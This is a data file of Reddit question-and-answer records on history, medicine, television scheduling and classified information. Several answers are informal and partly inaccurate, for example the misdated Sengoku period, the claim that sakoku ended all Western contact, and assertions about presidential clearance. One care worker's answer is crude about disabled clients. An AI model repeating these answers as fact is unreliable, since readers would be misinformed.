{"q_id": "32omzv", "title": "Why didn't the Japanese trade weapons with the Portuguese, considering how, in comparison, their own were made from vastly inferior material?", "selftext": "I've heard it said that the Japanese used some sort of iron sand to create their swords, and that the iron sand is terrible for making actual weapons. Why then didn't they buy the swords/metals off the Europeans?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32omzv/why_didnt_the_japanese_trade_weapons_with_the/", "answers": {"a_id": ["cqd4tj0"], "score": [3], "text": ["You're correct in that the iron sand was probably the worst type of iron source to be used in manufacturing weapons - the sand was found in deposits along riverbeds, and compared to European iron was much harder to properly refine (in terms of getting the proportions correct). \n\nIt's also interesting to note that it was this general inferior quality of steel that lead to the intricate techniques of swordsmithing developed by Japan.\n\nThe reason why Japanese didn't buy metals off the Europeans is that, by the time there was contact with the West, they were exposed to the power of new weapons - the matchlock, the cannon - in essence, advances with gunpowder. Following this, West and East established a trade route known by the Japanese as the Nanban trade. \n\nThe Portuguese matchlocks were light, easy to operate, and required little training to use. Coinciding with the Sengoku Period (mid 1400s to mid 1500s) where Japan's feudal lords were at war with each other, matchlocks gave a simple foot soldier the ability to kill those who were trained. \n\nWhile bows at the time were generally superior to firearms (as firearms took long to reload and had shorter effective ranges), the deciding factor was the time it took to train a bowman in comparison to a line infantryman, and also much cheaper.\n\nSo in other words - they didn't trade metals with the West because, by the time they had contact, they were beginning to adopt firearms. They traded matchlocks early on but then smiths began to adapt to the new techniques of creating guns. \n\nFollowing the Sengoku period, the victorious Tokugawa shogunate issued the Sakoku policy, or isolationist policy that cut off all ties with the West - this lasted from 1630 to 1853, and meant that, again, there was no trade of metals or weapons.\n\nSources:\n\n*Giving up the Gun* - Noel, P.\n\n*Technology and the culture of progress in Meiji Japan* - Wittner, D."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6q7eie", "title": "why does light do that thing where it spreads out after you cry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6q7eie/eli5_why_does_light_do_that_thing_where_it/", "answers": {"a_id": ["dkv5oio"], "score": [3], "text": ["Because you have tears in your eyes and it's first passing through them to get to your eyes. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4g5ma8", "title": "why does basically everyone in a hospital get an iv regardless of their situation?", "selftext": "Is there anything to it other than keeping patients hydrated and getting medicine into their system when necessary?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4g5ma8/eli5_why_does_basically_everyone_in_a_hospital/", "answers": {"a_id": ["d2eqrx4", "d2er0yl", "d2eraxy", "d2f124l"], "score": [6, 26, 2, 5], "text": ["It's mostly to keep patients completely hydrated. You always want the patient to be in the best shape possible, just in case they need to operate or give you certain medications. ", "A lot of the time it's just to have an established line, so that if things go south, you don't have to waste the time to start one. With some people it's not easy to get a line in, especially once their BP starts to crash, and they need medicine right now.", "At the hospital I worked at almost everyone had one iv line used or not. Icu or critical patients had 2 or more. The reason? When the patient is crashing it's hard to get an IV. Plus they are probably going to need an iv sometime during their stay so might as well put a line in them at the beginning so you don't waste time later. ", "My patients don't always get them, but most of the time they do. If I have to draw your blood, I'd rather do it while placing an IV, because otherwise it's one needlestick for the blood draw and then a 2nd for the IV later. It's nicer to you to just put in the IV. Plus in the ED, we don't really know much about our patients, so it's safer to just have the line in case you surprise die on us. -ED nurse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3pkl6n", "title": "if stephen colbert is so marketable and millions of people watch jimmy fallon clips on youtube, then why don't the networks move their shows to prime time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3pkl6n/eli5_if_stephen_colbert_is_so_marketable_and/", "answers": {"a_id": ["cw73i3o", "cw74yp2", "cw7550a", "cw76aou"], "score": [43, 12, 18, 5], "text": ["these shows win against nothing.  would people tune in every night when its up against football, voice, ncis, ect ect?  I think they would struggle to garner as many viewers in primetime.", "An important aspect to this is that Colbert and Fallon do very well in their time slots against the shows that are playing at that time. Many of those millions of viewers aren't necessarily tuning in with the intent to specifically watch Colbert, but they are tuning in because they want to watch TV and there isn't another program on in the slot they'd rather watch.\n\nThere are also demographic circumstances that play in as well. The makeup of the audience which is going to be awake at that time, interested in the material, and tuned into a television program (assuming you go with live viewership) is very different than the makeup of someone who is home and watching TV at, say, 8pm or 12pm or 9am. If Colbert moved to the coveted 9pm timeslot, would he do as well? Maybe, but maybe many of the people who watch and enjoy him aren't home at that time or if they are, they're not watching TV.", "Consider the demographics of the viewership throughout the day.  Who is watching at what times, what content they are consuming, and importantly, what advertising they are consuming.\n\nKids may still be awake during prime time so traditionally the content and advertising is relatively family friendly.  This is where you want most sitcoms and sporting events to be.\n\nThen the kids go to sleep and the adults can have some different content to consume.  The late night shows tend to be heavier on suggestion and adult themes.  The male enhancement product commercials kick into high gear.\n\nThe content and advertising follow the demographics throughout the day.\n\nDaytime is for gameshows, soaps, and Judge Judy, selling fabric softener to stay at home parents.\n\nAfternoon can squeeze in some cartoons or such for the kids getting home from school but before the parents are home from work.  Sell them candy and toys.\n\nPrimetime and latenight as above.\n\nSorry for putting it in terms of a nuclear family.  I know that isn't the situation for many of us.  Try telling that to the networks. ", "Fallon and Colbert probably pull in 3.5-4 million viewers per night. That's good for late night. That's dismal for primetime. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1ui8lf", "title": "Is there any plausible alternative to pixels?", "selftext": "Even if it's not as efficient or reliable as pixels, is there any other way? Will pixels Just keep getting smaller and smaller?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ui8lf/is_there_any_plausible_alternative_to_pixels/", "answers": {"a_id": ["ceieuoc"], "score": [29], "text": ["There are [vector displays](_URL_0_) which draw lines instead of illuminating pixels. The old CRT monitors pretty much just drew a line of varying color that covered the entire screen but things like oscilloscopes and specific vector displays can just draw lines from point A to point B without pixels.  Also OLED displays [have pretty weird pixels](_URL_1_) if you look at them closely, however they are probably still considered pixels.\n\nI hope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Vector_monitor", "http://en.wikipedia.org/wiki/File:Nexus_one_screen_microscope.jpg"]]}
{"q_id": "39xubi", "title": "does the president have unobstructed access to any information he wants? or are there groups/agencies that can prevent him from obtaining some things?", "selftext": "I understand that certain classified information is \"need to know,\" but was wondering whether there are any individuals that have the freedom to get their hands on whatever they want. For example, could Obama walk in on the first day of his term and demand info on his favorite conspiracy theories?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39xubi/eli5_does_the_president_have_unobstructed_access/", "answers": {"a_id": ["cs7kd4m", "cs7mbuu", "cs7mccl", "cs7sbiq", "cs7vmh4", "cs7wka8"], "score": [203, 63, 10, 15, 2, 5], "text": ["[Bill Clinton actually tried this with Area 51](_URL_0_). And, as he says, it turned out to be just a military aircraft testing ground. Then he gives this modifier:\n\n > I did attempt to find out if there were any secret government documents that reveal things, and if there were, they were concealed from me too. I wouldn\u2019t be the first president that underlings have lied to, or that career bureaucrats have waited out. But there may be some career person sitting around somewhere hiding these dark secrets even from elected presidents. But if so, they successfully alluded me. And I\u2019m embarrassed to tell you, I did try to find out.\n\nSo to answer your question, it would seem that a sitting president does have unobstructed access to information. How accurate that information is, however, is probably up to whoever is in charge of that program/department/etc.", "No. Just for starters, the President is only in charge of the executive branch, so he can't demand to see anything from outside that. Yes, the executive branch is the largest user of classification, but the other branches DO use it. For example, the President could not demand to see a transcript of a classified Senate committee meeting (well, he *could,* but they'd tell him to feck off).\n\nNext, one needs to understand that even within the executive branch, you don't have one monolithic organization with POTUS as the unquestioned dictator. Rather, the government is made up of thousands of little armed satrapies, each one dedicated to nothing but increasing its own budget and clout in the system.\n\nWhile the President appoints the heads of a lot of these agencies, his direct control over what they do is usually MUCH more theoretical. In some cases, certain things would be legally restricted from the president. For example, if the Justice Department was investigating the president for something (say, Watergate), he couldn't just up and demand to see everything they had on him while the investigation was ongoing.\n\nOn top of all THAT, if some big agency doesn't want the president (or any other authorized official) to see something they've got, there are just all kinds of ways to stymie and stonewall such demands. Big agencies have a LOT of records, and shit just gets lost, ya know? For that matter, unless you can specify a *specific document,* your chances of ever seeing it are slim. And oh yeah, make that \"the specific document from the specific agency.\"\n\nIf some president was foolish enough to demand *everything* \"They\" have on Area 51 (and BTW, who, exactly, is \"They?\" Remember that \"specific agency\" bit?), he'd begin to regret it when the forklifts started piling box after box of petty, pointless crap on his doorstep just because it contains the phrase \"Area 51.\" By about the thousandth box, he'd probably reconsider.\n", "Those that know won't talk, and those that talk don't know.\n\nIt's impossible to verify whether there is information that the President can't get because the people with that information would never make that fact known.", "Raw intelligence, is normally covered by what they call Code-Word clearances. Be it Atomic, Umbra, Gamma, whichever. These are far less discussed than say \"Top-Secret, Secret etc etc\" but you will note Snowden had what he called Talent Keyhole, or \"TK\" Clearance. There are about 10-15 clearances that sit above Top Secret in the ladder.\n\nThe idea of these levels is that you see the source, the date, the method, etc etc. \n\nThat intelligence is then collated and disseminated and the source data is removed. Mainly to protect said source. This all comes down to the \"Need to Know\". If you expose the source of the intelligence, you may eventually lose that source. Bare in mind anything collected, is probably also being observed, to an extent by another nations intelligence collection capabilities.\n\nWhilst the President would need to know a 'bomb' was being 'planted' in 'x-country'. He does not need to know how or where that information was gained because the more people that know, the greater risk of the source being exposed. \n\nThe head of an Intelligence Agency would absolutely have higher clearances than the President and without doubt would have the ability to share or not, information that was deemed necessary.\n\nEdit : Seem's there are a few doubters out there. Whilst this is NOT my source, at least it is a source you can read. \n\n\n_URL_0_\n\nScroll down to \"Compartmented\".\n\n----------------------------------------------------------------------------------------------------------------------------\nThen here to be specific to the US\n\n_URL_0_#United_States\n\n\"A security clearance is granted to an individual and generally recognizes a maximum level of clearance. Exceptions include levels above compartmentalized access or when an individual is cleared for a certain type of data. The President of the United States **may** be given access to any government or military information that he requests if there is a *proper* \"need to know\"\n", "Haven't you ever seen Independence Day?!", "In theory the President is able to get anything within the Executive branch. In practice a hundred barriers could appear. \n\nLike, let's say he wanted a list of every US spy in foreign territories with their true identity, photo, location and their cover identity, on his desk. A list like that would be incredibly dangerous, because it's a single source of leak.\n\nSo it would first be a massive shitstorm of protest from every level. Then it would leak to the press that he had asked for it, which would utterly savage him, creating an intense political and public pressure away from it. \n\nIf he kept at it they'd probably force him to undergo a medical evaluaton, as it seems irrational and childlike to insist on something like that. All along they would probably keep making offers to brief him _generally_ on US activities abroad, going as far as possible without compiling that document he wanted. \n\nIn the end, if they made it, it's very likely several key names would be left out. Then he would have to start an investigation to find if names have been left out - which would be bogged down for years, and then the new election is up and he'd lose. \n\nSo in theory yes, in practice no.\n\nOf course, this is just the most important information. Everything they care less about, like conspiracy theories, is fair game."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=tLg8JsLtgcE"], [], [], ["https://en.wikipedia.org/wiki/Security_clearance", "https://en.wikipedia.org/wiki/Security_clearance#United_States"], [], []]}
{"q_id": "33aqd5", "title": "What models of Carcanos were most widely issued to the Italian army during WWII?", "selftext": "I know this is a pretty specific question, but I'm getting desperate. I've looked in Richard Hobbs' book The Carcano, and I've looked online to no end. Does anyone know, or know where I can look for, information about the issuing of rifles? I'm trying to find out what would have been most common for a division fighting in Sicily in 1943. I know the full length 1891 was most common all around with the 38/91 behind it, but by 43 would 38/91s still have been common? Would the 41/91 be replacing it? I know this is the most minute of the minutia, and I apologize.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/33aqd5/what_models_of_carcanos_were_most_widely_issued/", "answers": {"a_id": ["cqjn7gs"], "score": [2], "text": ["No panic. Couple of options, this guy below got all manufacturing details, models and years for the different versions of the rifle. Have a look and even drop him an email, he seems well informed.\n\n_URL_1_\n\nLast resort, get in here, this is the official page of the Italian Army and like most western armies they have a historical section, I suggest you try the 8th link \"Museo della Fanteria\" this is Infantry Museum. You would be surprised how much these guys are often willing to help. Besides the military history side they are not overwhelmed with work (no offence) so a small challenge is normally welcomed.\n\n_URL_0_\n\nYou seem to be pointing to a specific Division in the Sicilian Front which is a better approach I think, you may ask about the std issued equipment instead of the rifle models themselves. The only last thing I can think about is that you try some of the manufacturers historical records from the 1st link I provided. I only recognize there Beretta as still alive but they should have a good historical archive too, they are the Ferrari in the arms manufacturing in Italy. Not a long shot give it a try."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.esercito.difesa.it/storia/musei", "http://personal.stevens.edu/~gliberat/carcano/"]]}
{"q_id": "1zbt8c", "title": "how do mentally handicapped individuals deal with sexual urges as they reach puberty?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zbt8c/eli5_how_do_mentally_handicapped_individuals_deal/", "answers": {"a_id": ["cfs9t4r", "cfsalzj", "cfse0xh"], "score": [4, 11, 3], "text": ["Totally depends.  You're talking about a huge spectrum of not only people, who are individuals, but also disorders.  You're also possibly talking about groups of people who in many countries can not legally consent to sex at all.  \n\nI've worked with quite a few people with autism which itself comes in a wide spectrum.  Some are completely withdrawn and don't interact much, or at all, with any other people.  Some may inappropriately touch others are they reach sexual maturity with little to no understanding of boundaries between themselves and others. ", "I have a friend who pays for prostitutes for his autistic son. He says it helps him a lot and he believes it should be covered by HMO.", "I work as a direct care worker for the mentally handicapped. We have clients from 16-85 and the entire spectrum of mental handicaps. Im talking infant level all the way to legally functioning. Autism, downs, trama, plus a ton more.\r\rI've had nonverbal autistic clients with toddler level IQ whip it out in the middle of meal time and just start cranking away. Its a little startling. And especially higher functioning clients, always knock on the door before entering their room. Guys like to crank it, I do it, they do it, nothing special about it.\r\rIt is worth adding, with many mental handicaps, there are often secondary health issues that could prevent them from having fun time. Micropenis and some pituitary issues that cause them to not sexually mature. \r\rAlso, I've had a few female clients who I refused to lead around the house without wearing gloves... If you catch my drift.\r\r\rTl;Dr everyone cranks it, sometimes at odd times"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8x20sl", "title": "what are the cultural and social reasons to throw a sexual bachelor/bachelorette party?", "selftext": "My last post was removed for not being concrete enough, so I hope this is better. I don't understand the appeal of many wedding traditions, but this one in particular seems like a major risk of infidelity at a critical point in the relationship. Not trying to judge, just to understand. Is it mostly an expectation or is there more?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8x20sl/eli5_what_are_the_cultural_and_social_reasons_to/", "answers": {"a_id": ["e207vhx", "e208mf2"], "score": [10, 11], "text": ["Most major events in life have some kind of celebration tied with them. The Bachelor/Bachelorette party is a celebration with your close friends as you are ending the period of time that you have a massive amount of time to hang out with them and transition into one where you have less as you will be spending that time with your newly formed family. \n\nIf there is risk of infidelity then you are not mature enough to be married and you really shouldn't be be doing it. Also many if not most do not include sexual component. The most recent one that I was involved with we went camping for a weekend. ", "Bachelor parties date back to ancient Sparta, where  where men would eat and drink the night before a friend's wedding. That was all about celebrating the union, saying goodbye to the 'carefree' days before a man took on the responsibility of a family, and swearing allegiance to one another for battle and stuff. I think the same thing still stands today, minus the battle thing, and people celebrate in the same spirit in a lot of different cultures across the world. For most people I think it's about having a good time with friends and celebrating the past before you take a big step into another chapter of your life. \n\nLooking back through history, I kind of think it makes sense for bachelor parties to be sexual. For example in the 1800's (I'm generalising here) people often didn't marry for love, but rather for status/power, or because of social pressure. Marriage wasn't always a fun thing for people to do, it was sometimes pretty business-like, and it often meant the couple would take on the responsibility of children, more money with their combined finances, and more influence in their community (even if they did marry for love, that's still a lot of new responsibility). All that in mind, it makes sense that bachelor parties have a history of being rowdy and wild. I you're going into a loveless marriage to a woman who's expected to act a certain way, or if you're marrying someone you love but you'll have to uphold a certain social standard, you'd want to have fun before you did so. Again, I guess the same train of thought could be applied today in some cases. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "22fgyz", "title": "Monday Mysteries | Disease and Medicine", "selftext": "[**Previously on Monday Mysteries**](_URL_0_)\n\n**This week we'll be taking a look at diseases and medicines of your era.**\n\nThroughout history, people have been getting sick or otherwise indisposed (read: stabbed with pointy objects). People also seem to have always enjoyed those events not leading to death, and medicine has been an integral part of life to all eras. What are some of the more interesting diseases that were diagnosed in your era, and how were they cured? This could be anything from plagues to the vapours, from creative treatments for angina to something to help keep you awake. Who pioneered the first surgeries? How did they do it? What were medical implements like? How did people believe disease and medicine worked? What was the most prevalent or infamous disease? This question is wide open to all interpretations, and I'm looking forward to what you've got!\n\nRemember, moderation in these threads will be light - however, please remember that politeness, as always, is mandatory. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/22fgyz/monday_mysteries_disease_and_medicine/", "answers": {"a_id": ["cgmgaz6", "cgmhtjl", "cgmphuh", "cgnf4g4"], "score": [19, 13, 11, 2], "text": ["Well, it's always fun to dip into the Hippocratic corpus. [Airs, Waters, and Places](_URL_2_) was written around 400BC in Greece, and it seeks to explain how climate affects a population's health (and ultimately, its entire society). This might come close to straying off-topic, but I still think it's neat...\n\n'Hippocrates' (there are many works attributed to him, and it's pretty much impossible to say which ones he actually wrote) describes the diseases suffered by peoples in various climates, and then shows how these afflictions affect and interact with the entire structure of their society. Following a very common contemporary trend of comparing other cultures unfavourably with the Greeks, he essentially asks, \"Why aren't all cultures like us, and why are we the best?\" It's interesting that he explores it through the lens of medicine.\n\nToward the beginning, the author examines the types of diseases suffered in various climates. It's basically a goldilocks situation: [residents of hot cities](_URL_0_) are subject to phlegmy, humid diseases, they're flabby, and their women are 'subject to excessive menstruation'; [residents of cold cities](_URL_1_) suffer from 'hard' health complaints, like ruptures of blood vessels and nursing difficulties; and [residents of cities in more spring-like climates](_URL_3_) are just right. They have a perfect balance of fluids and such, and are therefore very healthy. \n\nThe thing is, Hippocrates must deal with the fact that the barbarians of the Near East lived in a milder climate (the 'just right' type) than the Greeks. If they were so healthy, how could they still be inferior to the Greeks? Well, basically, good health and good climate make them soft: \n\n > And with regard to the pusillanimity and cowardice of the inhabitants (of Asia Minor), the principal reason the Asiatics are more unwarlike and of gentler disposition than the Europeans is, the nature of the seasons, which do not undergo any great changes either to heat or cold.... (Part 16)\n\nThe author goes on to explain how they're made more complacent by their monarchic governments. Subjugation under a monarch breeds a society of mild and weak-tempered people, and anyone who stood out would be seen as a threat and silenced. I think that we're also meant to understand that only people who are weak in the first place would allow themselves to be ruled by a monarch.\n\nOn the other hand, about the Europeans (specifically Greeks), he says: \n\n > I think the inhabitants of Europe more courageous than those of Asia; for a climate which is always the same induces indolence, but a changeable climate, laborious exertions both of body and mind; and from rest and indolence cowardice is engendered, and from laborious exertions and pains, courage. On this account the inhabitants of Europe are more warlike than the Asiatics, and also owing to their institutions, because they are not governed by kings like the latter, for where men are governed by kings there they must be very cowardly, as I have stated before; for their souls are enslaved, and they will not willingly, or readily undergo dangers in order to promote the power of another; but those that are free undertake dangers on their own account, and not for the sake of others; they court hazard and go out to meet it, for they themselves bear off the rewards of victory, and thus their institutions contribute not a little to their courage. \n\nGreeks are meant to recognise themselves in this description; they suffer hardships and diseases due to their climate, yes, but the conditions are precisely such that they are only made stronger. Their democratic institutions, furthermore, encourage greatness, and are in turn propped up by the greatness of their citizens.\n\nI love this because Otherness is such a major theme in Classical Greek thought, and it's explored from a wide variety of angles. This is a very interesting example of a 'scientific' ethnography- a medical and climatological justification of Greek superiority.\n\nIf you're intrigued, I suggest reading the whole work. It's not very long, and I entirely left out the very enjoyable description of the Scythians and their impotence.", "There's one disease that was such a scourge, and remained one periodically, that it became only the second global disease eliminated by human beings in the wild: [rinderpest.](_URL_0_)  The catch is that rinderpest is a cattle disease (which affects other ruminants as well), which may suggest just how virulent it had to be to warrant that kind of attention.\n\nIn Africa, especially after the 1880s when it first appeared in Eritrea (sick cattle purchased from India for the Italian troops stationed there), it burned a devastating swath in two prongs, one down east and central Africa (arriving in South Africa proper in 1896/97) and one across West Africa.  Everywhere it went, it left hunger and shock in its wake.  So virulent was it that people variously believed the Europeans deliberately brought it or that it was an existential judgment in addition to the challenge they posed.  With so many societies considering livestock to be the only true wealth, and a marker of spiritual as well as temporal prosperity, the exchange of cattle and their care were paramount.  Rinderpest throve on such infection-spreading things as pasturage changes, animal transfers, and so forth, to the point that even among white settlers the common mythology was that cattle could contract the disease from merely passing the same spot an infected animal had passed days before.  Inoculation had only limited effect and could only reach so far; the large herds belonging to white stock farmers could be reliably quarantined (though any sign of infection led to the killing of the whole) but the smallholder model of household animals among non-European societies made such epizootic management impossible to carry out systematically.  Education and treatment faced suspicion from people who reasonably feared ulterior motives in colonial administrators' demands on their wealth.  Many chose not to believe such a thing could be real, to their detriment.\n\nAnd rinderpest was horrific beyond prior understandings.  Even cattle lungsickness and East Coast Fever wouldn't be this dislocating over the swath of area that rinderpest touched.  They wasted away and seemed to drain from the face constantly, and took anywhere from three to ten days to die--a short but terrifying time, and by then it was too late for the other animals.  African cattle populations, outside of the breeds born of European or mixed stsock, lacked immunity to rinderpest entirely, and the death rate among \"native\" cattle in the Transkei of South Africa--even with warning--was over 90%.  It was probably higher further north where inoculation was unknown.  \n\nThe death of these animals generated turmoil at a crucial moment in the colonization of Africa.  With social disorder high (class systems eroded dramatically with the major marker of wealth so diminished) and both domestic and wild sustenance bases weakened (meaning people had to look for wages and buy grain on the market), centers of potential opposition ceased to be so threatening.  The Maasai districts of East Africa, which both British and German administrators had feared would be centers of tenacious resistance, collapsed before any confrontation could even happen.  In southern Rhodesia (Zimbabwe), the exactions of rinderpest assured that the Ndebele and Shona risings of 1896-97 would have nothing to draw from--although it's arguable that rinderpest may have helped to provoke them as well.  In South Africa, the death of cattle pushed a number of [previously] defiant kings, headmen, and other community leaders to push for security of land against settlers, for fear they would not be allowed to recover otherwise; this was the moment when the expansion of individual titling in some areas and the native-reserve system in others took place.  (That's where it touches my own work on land and colonial power most directly, of course.)\n\nThe ironic thing is that relatively little broad history has been written about rinderpest.  Pule Phoofolo wrote several articles on various local encounters in South Africa; Gary Marquardt wrote a PhD thesis on the disease in Bechuanaland; and there's one more recent treatment of the disease in East Africa that is escaping my mind right now.  Virtually every author mentions it in histories of the period, and some afterwards because the disease would break out from time to time.  Phoofolo has a plan to write a general history (an African version of Spinage's 2003 *Cattle Plague: A History* perhaps) but so far one hasn't appeared.\n\n", "The impact of infectious diseases on Native American populations has been the source of tremendous debate.  At the beginning of the 20th century academic thought held that pre-contact populations in the North America (with few exceptions) were dispersed with low population density, small census size, and changed very little between contact and the 20th century.  Infectious diseases had little impact on the population, outside of decreasing the already small number of native inhabitants.  By the end of the 20th century the pendulum of academic thought reversed.  In the new model, North America at contact was richly inhabited, but Old World pathogens raced ahead of early explorers causing catastrophic, irreversible mortality and leaving a changed people unable to resist European encroachment.  The commonly cited figure of 90-99% mortality entered the public consciousness.  Currently, the academic debate has shifted from generalizing the impact of infectious disease on an entire continent, to a focus on the forces acting in each region.  There is just one problem: outside of Mexico, mission communities in New Mexico and Florida, and thin, isolated strips of territory along the Mississippi River and Atlantic seaboard, we don't know how infectious diseases were impacting the bulk of the inhabitants of North America in the interior of the continent.  We have some, albeit sketchy, demographic data for the populations near European settlements, but what was going on beyond the frontier?\n\nNorthern Plains tribes (like the Lakota, Kiowa, Mandan, and Dakota) kept historical records in the form of [Winter Counts](_URL_0_).  Winter Counts were a historical record, a list of year names representing the most significant events in the life of the band.  Pictorial representations of that event served as a reminder, a kind of mnemonic device, for the keeper of the count to retell the history of the band.  We know of 53 Winter Counts that together provide a historical record of the Northern Plains from 1682 to 1920.  By compiling the Winter Counts together into a master narrative we can establish a chronology, cross-check errors, and be fairly certain the events depicted are accurate to roughly two years.  From this narrative we can determine the frequency and impact of infectious disease on the Northern Plains populations before the arrival of permanent European-descent settlers.\n\nAll but two of the 53 Winter Counts record some instance of infectious disease between 1682 and 1920.  If we ignore the earliest Winter Counts (due to lack of cross-reference capacity) and focus on the time period from 1714 to 1919, Native American populations on the northern plains endured 36 major epidemics in two centuries.  An epidemic occurred roughly every 5.7 years for the entire population, but varied by band.  The Mandan saw the recurrence of epidemics every 9.7 years, while the Yanktonai averaged an epidemic every 15.8 years.  The longest epidemic free interval for any band was 45 years for the Southern Lakota, and the shortest was 14 years for the Mandan.  Northern Plains pandemics, when an epidemic effects all, or nearly all, of the Northern Plains populations, occurred in 1781 (smallpox), 1801 (smallpox), 1818 (smallpox), 1837-38 (smallpox), 1844 (measles or smallox), and 1888 (measles).  \n\nTaken together, we see a picture develop, one where epidemics were raging in at least one portion of the northern plains during the eighteenth and nineteenth centuries.  Epidemics seemed to hit pregnant women particularly hard, with increased mortality noted in expectant mothers.  Overall mortality for each epidemic is difficult to determine.  The Blue Thunder (Yanktonai) Winter Count states many died in the 1801-2 smallpox epidemic, but few died in the 1837-38 or 1844-45 epidemics.  Oglala Winter Counts describe the 1844-45 epidemic as severe and widespread.  The severity of the mortality from an epidemic likely varied between groups due to previous exposure to the pathogen (leaving the survivors with immunity) as well as nutritional stress since periods of famine often preceded an epidemic event.  \n\nWhat does this tell us about disease events beyond the frontier?  Epidemics of infectious disease occurred before significant, sustained face-to-face contact with Europeans (3-5 epidemics before the establishment of permanent trading posts).  Epidemics of infectious disease arrived in waves, one roughly every 5 to 10 years, burned through the pool of susceptible hosts, and left long periods of stasis in their wake.  An entire generation could be born, live and die between waves of disease for some bands, while others were hit with multiple events in quick succession.  Even in the same epidemic of the same pathogen, mortality could differ based on immunity from previous exposure and the stressors (famine, poor nutrition, displacement, etc.) influencing the health of the band.  Winter Counts tell a story of dynamic populations persisting and adapting in the face of recurrent high mortality events, and provide an unique perspective into the influence of disease on populations beyond the frontier.\n\nSundstrom (1997) Smallpox used them up: references to epidemic disease in Northern Plains Winter Counts, 1714-1920.  *Ethnohistory*.\n\nCalloway (2003) One Vast Winter Count: the Native American West before Lewis and Clark.", "In the 17th century an ailment that preoccupied a lot of English physicians was 'stone' - stones (cystoliths) in the bladder, kidneys or urinary tract, which can be excruciatingly painful. They can do a lot of damage if passed, but if not passed or removed they can grow big enough to block the bladder, leading to rupture and an agonising death. \n\nIt's disputed why so many people suffered from them, but drinking sparingly and hard water are factors, as is reliance on a largely barley-bread diet. Herbal remedies, compresses and possets were often prescribed, but would not be effective for long. \n\nSurgical intervention - lithotomy - has been practiced since antiquity: it's mentioned in the Hippocratic oath as something physicians had better leave up to the surgeons. In the 17th century it was one of the surgical procedures that the patient had a reasonable chance of surviving, but was astonishingly painful and of course very risky. However, the pain was such that there are examples of people attempting surgery on themselves: there is a portrait of a Dutch blacksmith named Jan de Doot holding the stone he had removed himself: he'd been operated on twice before so perhaps considered he knew what he was doing by then. _URL_0_ \n\nSamuel Pepys was successfully 'cut for the stone' by Thomas Hollyer in 1658, after many years of passing blood and terrible pain which turpentine pills, prayer and a lucky hare's foot talisman did not help. His mother, aunt and brother also suffered from stone - both his mother and aunt 'voided' their stones with considerable pain but apparently no permanent damage. Unfortunately Pepys's operation was before he started writing his diary so he left no contemporary description, but his biographer Claire Tomlin describes the procedure, which involves inserting a metal instrument into the bladder via the urethra to locate the stone and then cutting through the perineum to remove it, in detail in Samuel Pepys: The Unequalled Self. (It is speculated that the operation also accidentally rendered him sterile, as it is difficult to cut the perineum without also damaging the vas deferens). You can find a surgeon's perspective on the different procedures, with special reference to Pepys, here: _URL_1_\n\nOther patients were not so lucky: Stephen Pollard in 1828 died the day after his surgeon spent nearly an hour rummaging in his bladder through a cut in the side of his scrotum, and failing to find it (described in Druin Burch's 2007 book Digging Up the Dead). \n\nThe city where I live, Norwich (the one in England) is in East Anglia, which had a very high incidence of 'stone', probably because of the high calcium content of the ground water and a generally poor diet, though in the period it was also attributed to the cold north wind. This led to the \"Norwich school\" of lithotomy which pioneered variations on lithotomy, as well as the terrifying collection of 'stone forceps' which can be seen in the Norwich City museum collection, some of which were designed to crush the stone to bits if it was too big to be safely removed whole. It's interesting that childhood bladder stones virtually disappear from the region between 1911 and 1930 (see pubmed article linked above).\n\nReasons to be glad we live in an era where anaesthesia and asepsis are known."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/wiki/features/mysteries"], "answers_urls": [["http://classics.mit.edu/Hippocrates/airwatpl.3.3.html", "http://classics.mit.edu/Hippocrates/airwatpl.4.4.html", "http://classics.mit.edu/Hippocrates/airwatpl.html", "http://classics.mit.edu/Hippocrates/airwatpl.5.5.html"], ["http://en.wikipedia.org/wiki/Rinderpest"], ["http://wintercounts.si.edu/"], ["http://en.wikipedia.org/wiki/Jan_de_Doot", "http://pubmedcentralcanada.ca/pmcc/articles/PMC2491537/pdf/annrcse01480-0017.pdf"]]}
{"q_id": "5th87b", "title": "why are canada geese called such instead of canadian geese?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5th87b/eli5_why_are_canada_geese_called_such_instead_of/", "answers": {"a_id": ["ddmjikk"], "score": [4], "text": ["Because it's their name, not their nationality. If I live in New York, and my name is Bob France, you wouldn't call me French."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
